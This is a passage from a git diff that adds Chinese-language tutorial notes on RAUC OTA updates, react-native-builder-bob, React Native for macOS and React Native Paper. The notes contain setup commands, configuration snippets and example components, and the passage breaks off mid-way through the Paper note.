deploy/update-2026.06.13-1.raucb + +# 流式安装(RAUC ≥ 1.7) +rauc install https://updates.example.com/releases/update-2026.06.13-1.raucb +``` + +安装完成后 **reboot**,新系统自检通过后执行 `rauc status mark-good`。 + +### 示例 3:Yocto `bundle.bbclass` 片段(自动化打包) + +在 `meta-your-bsp/recipes-core/bundles/update-bundle.bb`: + +```bitbake +inherit bundle + +RAUC_BUNDLE_COMPATIBLE = "MyBoard imx8-evk" +RAUC_BUNDLE_VERSION = "2026.06.13-1" +RAUC_BUNDLE_FORMAT = "verity" +RAUC_BUNDLE_SLOTS = "rootfs boot" +RAUC_SLOT_rootfs = "core-image-minimal" +RAUC_SLOT_boot = "imx-boot" +``` + +BitBake 会生成 manifest、调用 `rauc bundle` 签名,产出与示例 2 同格式的 `.raucb`,适合 CI 流水线。 + +### 示例 4:D-Bus 触发安装(应用集成) + +RAUC 服务暴露 D-Bus 接口,应用可在不直接 shell 的情况下触发升级(需系统已启用 `rauc.service`): + +```bash +# 查询状态 +busctl get-property com.pengutronix.rauc / com.pengutronix.rauc.Operation progress + +# 通过 dbus-send 安装(简化示例;生产建议用专用库) +dbus-send --system --print-reply \ + --dest=com.pengutronix.rauc \ + / \ + com.pengutronix.rauc.InstallBundle \ + string:"/mnt/usb/update.raucb" +``` + +进度、错误码可通过 D-Bus 信号订阅,便于 UI 或运维 agent 展示。 + +--- + +## 一次完整 OTA 生命周期 + +``` +CI 构建 rootfs.img + boot.img + → 编写 manifest.raucm(compatible/version) + → rauc bundle 签名 → update.raucb + → 上传到 HTTPS / hawkBit / U 盘 + → 设备 rauc install(或 D-Bus / hawkBit updater) + → 验签 → 选 inactive slot group → 写镜像 → 改 U-Boot env + → reboot → 新系统启动 + → 自检通过 → rauc status mark-good + → (可选)上报部署服务器成功 +``` + +若 **写入中断**:active 分区未动,旧系统仍可启动。若 **新系统无法 boot**:bootloader 根据 bootcount / mark-bad 回到旧 slot。若 **能 boot 但未 mark-good**:下次重启可能仍试新 slot 或按 bootloader 策略回滚——因此 **mark-good 必须纳入启动流程**。 + +--- + +## 与相近方案对比 + +| 维度 | RAUC | Mender | swupdate | +| --- | --- | --- | --- | +| 定位 | 更新框架 + 打包工具 | Client + 开源 Server | 嵌入式更新引擎 | +| 部署服务器 | 需自建或 hawkBit 桥接 | 内置 Server 生态 | 通常自建 | +| 签名 | 强制 X.509 | Artifact 签名 | 支持 | +| 集成 | meta-rauc、Buildroot | meta-mender | Yocto/Buildroot | +| API | D-Bus + CLI | HTTPS poll + CLI | Lua/C API、Web | + +RAUC 优势在于 **灵活 slot 模型**(不限 A/B,可 A/B/C、recovery、artifact repo)与 **LGPL 客户端**;若需要开箱即用的 fleet 管理 UI,常配合 **hawkBit + rauc-hawkbit-updater**,或与 [[mender]] 对比选型。 + +--- + +## 上手路径(零基础) + +1. **读文档**:[rauc.readthedocs.io](https://rauc.readthedocs.io/) — Basics → Integration → Reference。 +2. **跑 QEMU 示例**:meta-rauc 的 `core-bundle-minimal` + 虚拟机镜像,体验 `rauc install` + reboot + `mark-good`。 +3. **理解两份配置**:`system.conf`(目标机地图)与 `manifest.raucm`(单次更新清单)的 `compatible` 必须对齐。 +4. **练签名链**:用 meta-rauc 自带 `openssl-ca` 脚本生成开发证书,再规划量产 PKI。 +5. **接下发通道**:产线 U 盘 / `rauc install URL` / hawkBit;应用侧用 D-Bus 集成进度。 + +--- + +## 常见坑 + +| 现象 | 原因 | 建议 | +| --- | --- | --- | +| `compatible mismatch` | manifest 与 system.conf 字符串不一致 | 构建与目标用同一 `compatible` 宏 | +| 更新后配置丢失 | 写在 rootfs 内 | 数据放独立 `/data` 分区或 artifact | +| 反复回滚 | 未 `mark-good` 或启动脚本失败 | systemd 自检后再 mark-good | +| Bundle 安装报签名错误 | keyring 与签名证书链不匹配 | 核对 `/etc/rauc/ca.cert.pem` | +| 流式安装失败 | 非 verity bundle 或服务器无 Range | 检查 `format=verity` 与 HTTP 头 | +| 误用 `rauc extract` | bundle 不是通用容器 | 用 `install` 或 D-Bus,定制走 hook | + +--- + +## 小结 + +RAUC 把嵌入式 Linux OTA 拆成:**宿主机** 用 manifest 描述目标状态并签名打包,**目标机** 用 system.conf 描述分区与 bootloader,**安装器** 只写 inactive slot 并协作 boot 确认。零基础学习者应先建立「双槽位 + 签名集装箱 + 试飞签字」类比,再在 Yocto QEMU 或实体板上走通 **`bundle` → `install` → reboot → `mark-good`** 全链路,比死记命令表更有效。 + +--- + +## 延伸阅读 + +- 官方仓库:[rauc/rauc](https://github.com/rauc/rauc) +- 文档:[RAUC Basics](https://rauc.readthedocs.io/en/latest/basic.html)、[Integration](https://rauc.readthedocs.io/en/latest/integration.html) +- Yocto layer:[meta-rauc](https://github.com/rauc/meta-rauc) +- 部署桥接:[rauc-hawkbit-updater](https://github.com/rauc/rauc-hawkbit-updater) +- 同领域笔记:[[mender]]、[[buildroot]]、[[zephyr]]、[[esphome]] diff --git a/src/content/docs/projects/react-native-builder-bob.md b/src/content/docs/projects/react-native-builder-bob.md new file mode 100644 index 000000000..84477852b --- /dev/null +++ b/src/content/docs/projects/react-native-builder-bob.md @@ -0,0 +1,268 @@ +--- +title: react-native-builder-bob — React Native 库脚手架与多产物构建工具 +来源: https://github.com/callstack/react-native-builder-bob +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +**react-native-builder-bob**(社区常简称 **Bob**)是 Callstack 维护的一套 CLI,专门解决 React Native **npm 库作者**的两件大事:**从零搭工程**(配合 `create-react-native-library`)和 **把 TypeScript / JSX 源码编译成可发布的多种产物**(CommonJS、ESM、`.d.ts`、Codegen 等)。 + +日常类比:你要开一家「调料包」工厂,卖给全国各地的火锅店(各种 App 和打包工具)。原料是带 JSX、TypeScript 的「生鲜配方」(`src/`),但顾客厨房的灶具不一样——有的只认 CommonJS 老锅,有的要 ESM 新灶,有的还要附带「成分表」(类型定义)。Bob 就像**中央厨房的标准化流水线**:你只管在 `src/` 写配方,它按 `package.json` 里的配置,自动产出 `lib/` 里多套成品,并在 `npm publish` 前通过 `prepare` 钩子自动跑一遍。 + +Bob 本身不替代 React Native 运行时,它服务的是**库维护者**,不是 App 业务开发者。与之配套的脚手架命令是: + +```bash +# 新建一个带 example App、CI、Bob 预配置的 RN 库 +npx create-react-native-library@latest awesome-library + +# 给已有库一键接入 Bob 构建 +npx react-native-builder-bob@latest init +``` + +官方文档:https://oss.callstack.com/react-native-builder-bob/ + +## 为什么重要 + +如果你要**发布**或**在 monorepo 内共享** React Native 原生模块 / JS 工具库,不理解 Bob 会在这些场景踩坑: + +- **直接发布 `src/` 里的 TSX**:消费者的 Metro / Webpack 未必能正确处理你的 Babel 配置;类型文件路径混乱,IDE 补全体验差 +- **手写 Babel + tsc 双配置**:`module` / `main` / `types` / `exports` 字段要对齐多套输出目录,漏一项就会在 ESM-only 或 legacy Node 环境里 `require is not defined` +- **新架构(Turbo Module + Fabric)**:Codegen 生成物何时打进 npm 包、`cmakeListsPath` 如何指到生成目录——Bob 的 `codegen` target 把这条链纳入 `bob build` +- **本地库 vs 发 npm**:在 App 仓库里用 `--local` 建 `modules/awesome-library`,比把代码塞进 `android/`、`ios/` 更易升级 RN、复制到其他项目 + +Bob 在 RN 生态里的地位类似前端库里的 **tsup / unbuild / microbundle**,但默认约定(`react-native` 字段指向源码、`exports.source`、Codegen 集成)是**按 RN 库规范定制**的。 + +## 核心概念 + +Bob 的心智模型可以拆成四块: + +### 1. 两个 CLI,分工明确 + +| 工具 | 职责 | +|------|------| +| `create-react-native-library` | **脚手架**:生成库目录、example App、ESLint/Prettier/Lefthook、GitHub Actions、Kotlin/Swift/C++ 模板、**预置 Bob 配置** | +| `react-native-builder-bob` | **构建器**:`init` 给老项目加配置;`build` 按 targets 编译 | + +你完全可以只用后者:已有仓库执行 `npx react-native-builder-bob@latest init`,不必重新 scaffold。 + +### 2. `source` → `output` → `targets` + +配置写在 `package.json` 的 `react-native-builder-bob` 字段,或根目录 `bob.config.js`: + +- **`source`**:源码根目录,需包含 `index` 入口(如 `src/index.tsx`) +- **`output`**:编译输出根目录(常见 `lib/`) +- **`targets`**:要生成哪些产物 + +常见 targets: + +| Target | 作用 | 典型 `package.json` 指向 | +|--------|------|---------------------------| +| `module` | Babel 编译为 **ESM**(`import`/`export` 保留) | `exports['.'].import` 或 `module` 字段 | +| `commonjs` | Babel 编译为 **CommonJS** | `main` 或 `exports['.'].require` | +| `typescript` | `tsc` 生成 **`.d.ts`** | `types`、`exports['.'].types` | +| `codegen` | 运行 RN **Codegen**,生成 Turbo/Fabric 脚手架代码 | 原生工程 `ios/generated`、`android/generated` | +| `custom` | 挂自定义 npm script | 适合额外打包步骤 | + +`module` target 常配 `{ "esm": true }`,以符合 Node 12+ 与现代 bundler 的 `package.json#exports` 约定。 + +### 3. 入口字段:开发读源码,发布用 `lib/` + +Bob 推荐的双轨入口(简化版): + +```json +{ + "main": "./lib/module/index.js", + "types": "./lib/typescript/src/index.d.ts", + "exports": { + ".": { + "source": "./src/index.tsx", + "types": "./lib/typescript/src/index.d.ts", + "default": "./lib/module/index.js" + }, + "./package.json": "./package.json" + }, + "files": ["lib", "src"] +} +``` + +含义: + +- **开发 / Metro**:通过 `exports` 的 `source` 或传统 `react-native` 字段直接消费 `src/`,热更新快 +- **发布后消费者**:拿到编译好的 `lib/`,不依赖你的 Babel 插件链 +- **`files`**:控制 npm 包里实际包含哪些目录(通常 `lib` + `src`) + +### 4. `prepare` vs `prepack`:何时自动 `bob build` + +```json +"scripts": { + "prepare": "bob build" +} +``` + +- **`prepare`**:`npm publish`、从 Git URL `npm install`(Yarn 1 / npm / pnpm)时会跑——适合多数库 +- **`prepack`**:任意包管理器 `publish` 时都会跑;Yarn 4 从 Git 安装时也依赖它 + +官方建议拿不准就用 **`prepare`**。本地开发可手动 `yarn bob build` 或配置 watch。 + +### 5. 本地库(`--local`) + +在**已有 App** 的目录执行 scaffold,会生成 `modules/awesome-library` 一类结构,通过 `link:`(Yarn)或 `file:`(npm)链到主工程,走 **autolinking**,无需把原生代码塞进 App 的 `android/`、`ios/`。适合 monorepo、Expo dev client 内嵌原生模块、或暂时不发 npm 的内部库。 + +## 实践案例 + +### 案例 1:从零创建可发布库 + +```bash +npx create-react-native-library@latest react-native-awesome-storage +# 交互式选择:Turbo Module / Fabric / 仅 JS / Expo Web 等 + +cd react-native-awesome-storage +yarn +yarn example start # 启动 example App 调试库代码 +``` + +生成物通常已包含: + +```json +"scripts": { + "prepare": "bob build", + "watch": "bob build --watch" +}, +"react-native-builder-bob": { + "source": "src", + "output": "lib", + "targets": [ + ["module", { "esm": true }], + "commonjs", + "typescript" + ] +} +``` + +发布前在库根目录执行 `npm pack` 可本地检查 tarball 是否含 `lib/` 与类型文件。 + +### 案例 2:给已有 JS/TS 库接入 Bob(`init` 等价的手动配置) + +假设库源码在 `src/index.ts`,希望产出 ESM + 类型定义: + +```bash +yarn add --dev react-native-builder-bob +``` + +`package.json` 片段: + +```json +{ + "name": "my-rn-utils", + "scripts": { + "prepare": "bob build" + }, + "react-native-builder-bob": { + "source": "src", + "output": "lib", + "targets": [ + ["module", { "esm": true }], + "typescript" + ] + }, + "main": "./lib/module/index.js", + "types": "./lib/typescript/src/index.d.ts", + "exports": { + ".": { + "source": "./src/index.ts", + "types": "./lib/typescript/src/index.d.ts", + "default": "./lib/module/index.js" + } + }, + "files": ["lib", "src"] +} +``` + +`.gitignore` 增加: + +``` +lib/ +``` + +若使用 Jest,避免测试跑到编译产物: + +```json +"jest": { + "modulePathIgnorePatterns": ["/lib/"] +} +``` + +然后: + +```bash +yarn bob build +ls lib/module lib/typescript +``` + +### 案例 3:在 monorepo App 内建本地原生库 + +```bash +cd MyApp +npx create-react-native-library@latest awesome-bridge --local +``` + +主 App `package.json` 会自动出现类似: + +```json +"dependencies": { + "awesome-bridge": "link:./modules/awesome-bridge" +} +``` + +库代码在 `modules/awesome-bridge/`,通过 autolinking 进 Android Gradle / iOS CocoaPods,升级 RN 时不必 merge 进 App 原生目录的冲突补丁。 + +## 开发工作流速查 + +```bash +# 监听源码变更并增量编译 +yarn bob build --watch + +# 只构建某一 target(例如 Codegen) +npx bob build --target codegen + +# 老项目一键写入 Bob 配置 +npx react-native-builder-bob@latest init +``` + +`create-react-native-library` 生成的 `CONTRIBUTING.md` 会描述在 example App 里跑 iOS/Android/Web 测试的具体命令;Bob 负责的是**库包构建**,example 负责**集成验证**。 + +## 常见坑与排查 + +1. **`lib/` 被提交进 Git** + 应在 `.gitignore` 忽略;CI 应在 publish 前能跑 `bob build`。若 `lib/` 陈旧,消费者会用到过期编译结果。 + +2. **`main` / `exports` 与 targets 不一致** + 启用了 `commonjs` 却只在 `exports.default` 指 ESM 文件,会在 `require()` 场景报错。对照 [官方 ESM 兼容说明](https://oss.callstack.com/react-native-builder-bob/esm) 做 dual package。 + +3. **类型路径对不上** + `typescript` target 默认读根目录 `tsconfig.json`;可用 `["typescript", { "project": "tsconfig.build.json" }]` 分离开发/发布配置。 + +4. **Codegen 与 `includesGeneratedCode`** + 若把生成代码打进 npm,需在 `codegenConfig` 设 `includesGeneratedCode: true` 并配置 `outputDir`;同时更新 iOS import 路径与 Android `react-native.config.js` 的 `cmakeListsPath`——官方 build 文档有逐步清单。 + +5. **与 App 开发混淆** + Bob 不替代 Metro bundler 跑业务 App;它是**库作者**在 publish 前的构建步骤。写 App 用 Expo / RN CLI 即可,只有当你维护 `react-native-*` 包时才需要 Bob。 + +## 和相近工具的关系 + +| 工具 | 关系 | +|------|------| +| **create-react-native-library** | Bob 官方脚手架,创建时即带好 Bob | +| **Expo Modules API** | 另一套写原生模块的路径;也可用 Bob 编译纯 JS 层 | +| **tsup / rollup** | 通用 TS 库打包;缺少 RN 的 `source` 字段、Codegen target 等约定 | +| **React Native 文档「本地库」** | Bob `--local` 是更工程化、可迁移的替代方案 | + +## 小结 + +**react-native-builder-bob** 把 React Native 库作者从「手写 Babel + tsc + 入口字段对齐」里解放出来:源码留在 `src/`,`bob build` 产出 CommonJS / ESM / 类型 / Codegen 等多套目标,并在 `npm publish` 时通过 `prepare` 自动执行。配合 **create-react-native-library**,可以从零得到带 example、CI、新架构模板的标准库仓库;配合 **`--local`**,可以在 App monorepo 里以可复用包的形式写原生桥接,而不污染 App 自身的 `android/`、`ios/`。 + +记住一句类比:**App 开发者炒菜,库作者卖标准化调料包——Bob 就是那台把生鲜配方变成多规格包装的生产线。** diff --git a/src/content/docs/projects/react-native-macos.md b/src/content/docs/projects/react-native-macos.md new file mode 100644 index 000000000..4caa9d9e0 --- /dev/null +++ b/src/content/docs/projects/react-native-macos.md @@ -0,0 +1,289 @@ +--- +title: React Native for macOS — 用 JavaScript 写原生 macOS 桌面应用 +来源: https://github.com/microsoft/react-native-macos +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +React Native for macOS(简称 RNmacOS)是微软维护的 **React Native 官方 macOS 平台扩展**。日常类比:React Native 像一家连锁餐厅的**统一菜谱**——``、``、`` 是写在纸上的指令;iOS 分店用 UIKit 厨房、Android 分店用 Android 视图厨房。RNmacOS 则是在 Mac 上再开一间**本地厨房**:同一份 JavaScript/TypeScript 菜谱,底下由 **AppKit / Cocoa** 把组件渲染成真正的 macOS 原生窗口、按钮和菜单栏,而不是在 WebView 里套一层网页。 + +和 React(Web)的本质区别: + +| 维度 | React(Web) | React Native for macOS | +|------|--------------|------------------------| +| 渲染目标 | 浏览器 DOM | macOS 原生 AppKit 视图 | +| 运行环境 | Safari / Chrome | 独立 `.app` 桌面进程 | +| 样式模型 | CSS | Flexbox 风格的 StyleSheet | +| 开发机 | 任意系统 | **构建与运行必须在 macOS** | +| 打包产物 | HTML + JS bundle | `.app` / 公证后 `.dmg` | + +```jsx +import { View, Text, Pressable, StyleSheet } from 'react-native'; + +export default function App() { + return ( + + 你好,macOS + console.log('来自 RNmacOS')}> + 点我 + + + ); +} + +const styles = StyleSheet.create({ + container: { flex: 1, justifyContent: 'center', alignItems: 'center' }, + title: { fontSize: 28, fontWeight: '600', marginBottom: 16 }, + btn: { backgroundColor: '#007AFF', paddingHorizontal: 24, paddingVertical: 10, borderRadius: 8 }, + btnText: { color: '#fff', fontSize: 16 }, +}); +``` + +这段代码在 iPhone 上走 UIKit,在 Mac 上走 AppKit——**写法相同,底层已是 macOS 原生 UI**。 + +## 为什么重要 + +不理解 RNmacOS,以下场景容易选型失误或踩坑: + +- **「已有 RN 移动端,能否顺手做 Mac 桌面版?」**——可以,业务层 JS/TS 大量复用,但需 `react-native-macos-init` 生成 `macos/` 原生工程,不是 `npx create-expo-app` 自动就有 +- **和 Electron / Tauri 怎么选?**——Electron 是 Chromium + Node,包体与内存通常更大;Tauri 用 Rust + WebView;RNmacOS 走原生控件,与系统外观、菜单栏、VoiceOver 无障碍集成更自然,但 npm 生态里「只支持 Web」的库不能直接搬 +- **与 react-native-windows 的关系**——姊妹项目,同属微软 React Native 桌面生态;很多 Fabric 渲染思路从 iOS 移植到 macOS,Windows 侧独立演进 +- **Out-of-tree 平台**——`react-native-macos` 是 facebook/react-native 的 **working fork**,版本号需与 `react-native` **次版本对齐**(如 RN 0.81 配 `react-native-macos@0.81.x`) +- **开发机限制**——编译 macOS 应用只能在 Mac 上进行;可在 Linux/Windows 写 JS,但无法本地跑 `run-macos` + +## 核心概念 + +RNmacOS 的心智模型可以拆成 **六块**: + +1. **平台包 `react-native-macos`**:npm 依赖,替换/扩展标准 RN 的 macOS 实现。提供 Metro 配置、`run-macos` / `build-macos` CLI、CocoaPods 集成。 + +2. **`macos/` 原生工程**:由 `npx react-native-macos-init` 生成,内含 Xcode workspace(`macos/{ProjectName}.xcworkspace`)、AppDelegate、Podfile。类比:Mac 端的「厨房设备与布线」,JS 层一般不直接改,但加原生模块时必须动这里。 + +3. **与 iOS 的高度同构**:官方文档明确——写原生模块/组件的方式与 iOS 几乎相同,只是把 **UIKit 换成 AppKit**。社区库扩展 macOS 时,常在 `.podspec` 里加 `osx`,用 `#if TARGET_OS_OSX` 分支共享代码。 + +4. **Metro Bundler**:与移动端相同,负责打包 JS、支持 Fast Refresh。开发时通常开两个终端:`npm run start`(Metro)+ `npx react-native run-macos`(编译启动 .app)。 + +5. **New Architecture(Fabric + TurboModules)**:从 RN 0.71 起 macOS 侧引入 **实验性 Fabric** 预览;与 iOS 一样可通过 `RCT_NEW_ARCH_ENABLED=1` 在 `pod install` 时启用。新应用应关注官方 release 说明,旧 bridge 路径仍在维护期项目中存在。启用后 JS 侧可见 `fabric: true`、`concurrentRoot` 等特征(与 iOS 行为对齐)。 + +6. **系统要求(2026 年主流环境)**: + - 运行目标:macOS **Big Sur (11)** 或更新 + - 开发机:macOS + **Xcode**(含 macOS SDK)+ CocoaPods + - Node.js ≥ 18(与 RN 官方要求一致) + - `react-native` 与 `react-native-macos` **minor 版本一致** + +## 从零创建第一个 macOS 应用 + +官方推荐流程(以 RN 0.81 为例,具体版本以 [GitHub Releases](https://github.com/microsoft/react-native-macos/releases) 为准): + +```bash +# 1. 创建 RN 项目(版本与 RNmacOS 对齐) +npx @react-native-community/cli init HelloMacOS --version 0.81.2 +cd HelloMacOS + +# 2. 安装 macOS 平台扩展(写入 react-native-macos 依赖并生成 macos/) +npx react-native-macos-init + +# 3. 终端 A:启动 Metro +npm run start + +# 4. 终端 B:编译并启动 macOS 应用 +npx react-native run-macos +``` + +**替代方式**: + +- 用 Xcode 打开 `macos/HelloMacOS.xcworkspace`,或执行 `xed -b macos`,点击 Run +- 仅构建不启动:`npx react-native build-macos` + +首次编译会拉 CocoaPods、编译 C++/Objective-C++ 依赖,**耗时明显**;后续增量构建快很多。 + +若已有 RN 项目、只想**追加 macOS 目标**,在同一目录执行 `npx react-native-macos-init` 即可,不必重新 `init`。 + +## 实践案例 + +### 案例 1:带状态的 macOS 桌面计数器 + +```jsx +import { useState } from 'react'; +import { View, Text, Pressable, StyleSheet } from 'react-native'; + +export default function Counter() { + const [count, setCount] = useState(0); + + return ( + + macOS 计数器 + {count} + + setCount((c) => c - 1)}> + + + setCount((c) => c + 1)}> + + + + + + ); +} + +const styles = StyleSheet.create({ + root: { flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#f5f5f7' }, + label: { fontSize: 18, color: '#6e6e73', marginBottom: 8 }, + count: { fontSize: 48, fontWeight: '700', marginBottom: 24 }, + row: { flexDirection: 'row', gap: 12 }, + btn: { + width: 56, + height: 56, + borderRadius: 28, + backgroundColor: '#e8e8ed', + justifyContent: 'center', + alignItems: 'center', + }, + primary: { backgroundColor: '#007AFF' }, + btnText: { fontSize: 24, color: '#fff' }, +}); +``` + +**要点**: + +- React Hooks 与 Web 完全一致;RNmacOS 只负责渲染,不绑定状态库 +- macOS 窗口默认可缩放;用 `flex: 1` 让内容随窗口变化——桌面应用要考虑**最小窗口尺寸**(可在 `macos/` 原生层配置) +- 键盘快捷键(如 ⌘+、⌘−)需在原生层或 `react-native-keyevent` 等模块扩展,RN 核心不内置全局快捷键 API + +### 案例 2:macOS 风格的设置面板(Switch + 平台分支) + +桌面应用常见「设置页」。下面演示用 RN 核心组件 + 简单平台判断(与 iOS 共享逻辑,macOS 上 Switch 映射为 AppKit 开关): + +```tsx +import { useState } from 'react'; +import { View, Text, Switch, StyleSheet, Platform } from 'react-native'; + +export function SettingsPanel() { + const [darkMode, setDarkMode] = useState(false); + const [launchAtLogin, setLaunchAtLogin] = useState(false); + + const platformLabel = + Platform.OS === 'macos' ? 'macOS 原生设置' : Platform.OS; + + return ( + + {platformLabel} + + + 深色模式(演示) + + + + + 登录时打开 + + + + {Platform.OS === 'macos' && ( + + 「登录时打开」需调用 SMAppService / LSSharedFileList 等原生 API,此处仅 UI 占位。 + + )} + + ); +} + +const styles = StyleSheet.create({ + panel: { flex: 1, padding: 24, maxWidth: 480, alignSelf: 'center', width: '100%' }, + heading: { fontSize: 22, fontWeight: '600', marginBottom: 20 }, + row: { + flexDirection: 'row', + justifyContent: 'space-between', + alignItems: 'center', + paddingVertical: 12, + borderBottomWidth: StyleSheet.hairlineWidth, + borderBottomColor: '#d2d2d7', + }, + label: { fontSize: 16 }, + hint: { marginTop: 16, fontSize: 13, color: '#86868b', lineHeight: 18 }, +}); +``` + +**要点**: + +- `Platform.OS === 'macos'` 是 RNmacOS 注入的平台标识,用于与 iOS/Android 分支 +- 真正「登录项」「菜单栏图标」「沙盒书签」等 **macOS 专属能力** 要写 Native Module(Objective-C++/Swift),或选用已支持 macOS 的社区库 +- 扩展原生库时,在 `.podspec` 增加 `s.platforms = { :ios => "15.0", :osx => "12.0" }`,并在实现里 `#import ` 替代 UIKit + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| React Native | RNmacOS 是 RN 的 macOS 平台实现;共享 JS 运行时与组件模型 | +| react-native-windows | 姊妹项目;微软桌面双端,API 风格相近但原生工程结构不同 | +| Expo | macOS 支持仍属**实验性**;需改 Podfile、`AppDelegate`、Metro 以接入 `expo` 与 autolinking | +| Electron | Electron = Chromium 壳;RNmacOS = AppKit 原生控件,内存与包体通常更优 | +| SwiftUI / AppKit 纯原生 | 苹果第一方 UI;RNmacOS 适合已有 RN 团队复用移动端代码 | +| Tauri | Rust + 系统 WebView;RNmacOS 不依赖 HTML 渲染树 | + +已有 macOS 支持的社区模块示例:**react-native-webview**、**react-native-svg**、**react-native-reanimated**、**react-native-gesture-handler** 等——移植自研库时可对照其 Podspec 与 `#if TARGET_OS_OSX` 写法。 + +## 原生开发速览 + +若你要写 **Turbo Module / 原生视图**(与 iOS 文档结构相同): + +1. 在 `macos/` 工程或 shared `apple/` 目录添加 Objective-C++ / Swift 实现 +2. 用 AppKit 类型(`NSView`、`NSButton`)而非 `UIView` +3. 在 Podspec 声明 `osx` 平台最低版本 +4. 运行 `pod install` 后通过 codegen 或手动导出模块给 JS + +```objective-c +#if !TARGET_OS_OSX +#import +#else +#import +#endif +``` + +这是 iOS/macOS **双端库** 最常见的条件编译模式。 + +## 常见问题 + +**Q:能在 Windows 上编译 macOS 包吗?** +A:不能。必须有 Mac + Xcode。CI 常用 macOS runner(GitHub Actions `macos-latest` 等)。 + +**Q:版本号对不齐会怎样?** +A:`react-native` 与 `react-native-macos` minor 不一致时,Metro、Codegen、原生桥接常出现编译错误或运行时红屏。升级时两者一起升。 + +**Q:和 iOS 工程能共用 `ios/` 吗?** +A:业务 JS/TS 共用;原生工程分离——`ios/` 给 iPhone/iPad,`macos/` 给 Mac。部分库把共享原生代码放到 `apple/` 目录。 + +**Q:如何调试?** +A:JS 层用 Metro + React DevTools;原生层用 Xcode 断点附加到 `.app` 进程。Fast Refresh 改 JS 即可热更新。 + +**Q:Expo 托管项目能直接加 macOS 吗?** +A:需按官方 [Install Expo modules](https://microsoft.github.io/react-native-macos/docs/guides/installing-expo-modules) 改 Podfile、Bundle 脚本与 `AppDelegate`,并改用 `npx expo start`;复杂度高于纯裸 RN。 + +**Q:发布到 Mac App Store?** +A:需配置签名、沙盒、公证(notarization)。RNmacOS 产出标准 Xcode 工程,流程与原生 Mac 应用一致,具体以 Apple 当期政策为准。 + +## 学习路径建议 + +1. 先掌握 **React Native 基础**(组件、StyleSheet、导航)——RNmacOS 不另起一套 JS API +2. 在 Mac 上走通 **Getting Started**:`cli init` → `react-native-macos-init` → `run-macos` +3. 浏览仓库内 **RNTester** 示例,对照 macOS 上各组件表现 +4. 若有 iOS 经验,直接阅读 [Native Development](https://microsoft.github.io/react-native-macos/docs/guides/native-development) 理解 AppKit 差异 +5. 需要系统级能力(菜单栏、Touch Bar、Shortcuts)再深入 Turbo Module 与 `macos/` 工程 + +## 资源 + +- 官方文档:https://microsoft.github.io/react-native-macos/ +- GitHub:https://github.com/microsoft/react-native-macos +- Getting Started:https://microsoft.github.io/react-native-macos/docs/getting-started +- CLI 命令:https://microsoft.github.io/react-native-macos/docs/cli-commands +- 原生开发指南:https://microsoft.github.io/react-native-macos/docs/guides/native-development +- 微软 React Native 博客:https://devblogs.microsoft.com/react-native/ +- 姊妹项目 Windows 文档:https://microsoft.github.io/react-native-windows/ diff --git a/src/content/docs/projects/react-native-paper.md b/src/content/docs/projects/react-native-paper.md new file mode 100644 index 000000000..2679e15e2 --- /dev/null +++ b/src/content/docs/projects/react-native-paper.md @@ -0,0 +1,332 @@ +--- +title: React Native Paper — Material Design 风格的 RN UI 组件库 +来源: https://github.com/callstack/react-native-paper +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +React Native Paper 是 Callstack 维护的**跨平台 Material Design UI 组件库**:把 Google Material Design 3(Material You)里的按钮、卡片、输入框、对话框等「标准件」封装成 React Native 组件,在 iOS 和 Android 上开箱即用。 + +日常类比:你在装修一套公寓(React Native App),自己从零做门把手、开关面板、橱柜门会很费时间,而且容易和邻居(用户)熟悉的 Google/Android 风格对不上。Paper 就像**宜家 + 谷歌联名样板间**——颜色、圆角、阴影、动效都按 Material 规范预制好了,你只管选组件、拼布局、换主题色,不用自己画每个 ripple 波纹和 elevation 阴影。 + +最小用法:用 `PaperProvider` 包住 App,然后直接 import 组件: + +```tsx +import { PaperProvider, Button } from 'react-native-paper'; + +export default function App() { + return ( + + + + ); +} +``` + +Paper 默认启用 **MD3(Material Design 3)** 主题;若项目仍依赖旧版视觉,可通过 `PaperProvider` 的 `theme` 或 `version={2}` 切回 MD2。 + +## 为什么重要 + +不理解 Paper,在 RN 移动端 UI 选型时容易走弯路: + +- **Material 规范已经帮你做了 80% 的交互细节**:按钮的 pressed 态、FAB 的 elevation、Snackbar 的队列、TextInput 的浮动标签——自己用 `Pressable` + 手写样式复刻,成本高且容易和 Android 系统预期不一致 +- **Expo / RN 生态的「官方感」组件库**:14k+ GitHub stars,Callstack(React Native 核心贡献团队之一)长期维护,文档、Snack 示例、Play/App Store Demo App 齐全 +- **主题系统与 MD3 色板对齐**:`primary` / `onPrimary` / `primaryContainer` 等 token 与 Material Theme Builder 一致,设计师给 Figma kit,开发可以直接映射到 `theme.colors` +- **和 React Navigation 等库配合成熟**:AppBar、Drawer、BottomNavigation 等导航相关组件与 RN 导航栈是常见组合 + +Paper **不是** RN 的唯一 UI 方案:偏 iOS Human Interface Guidelines 的项目可能选 NativeBase 或 Tamagui;要高度定制设计系统时也可能自研。Paper 的甜区是:**Android 为主或需要统一 Material 视觉的 B 端 / 工具类 App**。 + +## 核心概念 + +Paper 的心智模型可以拆成五块: + +1. **`PaperProvider`(主题与 Portal 根)** + 必须在应用根部包裹(Expo 项目在 `App.tsx`,裸 RN 在 `AppRegistry` 注册的外层)。它通过 React Context 向下传递 `theme`,并为 `Modal`、`Menu`、`Snackbar` 等需要「渲染到顶层」的组件提供 Portal。 + **Provider 顺序**:Redux / TanStack Query 等应包在 **Paper 外面**,这样 Modal 内的子树仍能访问 Redux;Paper 在内层。 + +2. **Material Design 3 主题(Theme Token)** + 默认不传 `theme` 时使用内置 MD3 浅色主题。主题对象包含: + - `dark: boolean` — 深/浅色 + - `version: 2 | 3` — 设计系统版本 + - `roundness: number` — 全局圆角基数 + - `colors` — MD3 色板(`primary`、`secondary`、`tertiary`、`surface`、`error` 及对应的 `on*` / `*Container`) + - `fonts` — MD3 Typescale(`displayLarge`、`titleMedium`、`bodySmall` 等) + - `animation` — 动画时长缩放 + 用 `useTheme()` 在任意子组件读取当前主题,无需 prop drilling。 + +3. **组件 `mode` 与变体** + 许多组件通过 `mode` 表达 Material 层级,例如 `Button` 支持 `contained`(实心主按钮)、`outlined`、`text`、`elevated`、`contained-tonal`。`Card` 可组合 